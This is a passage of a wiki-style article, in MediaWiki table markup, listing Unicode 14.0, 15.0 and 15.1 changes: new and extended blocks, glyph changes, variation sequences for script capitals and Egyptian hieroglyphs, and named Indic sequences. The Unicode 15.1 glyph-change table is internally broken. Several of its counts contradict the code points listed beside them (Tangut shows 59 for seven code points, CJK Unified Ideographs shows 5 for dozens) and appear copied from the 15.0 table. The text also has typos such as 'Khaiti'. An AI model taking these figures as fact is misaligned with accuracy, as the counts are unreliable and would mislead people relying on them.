|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
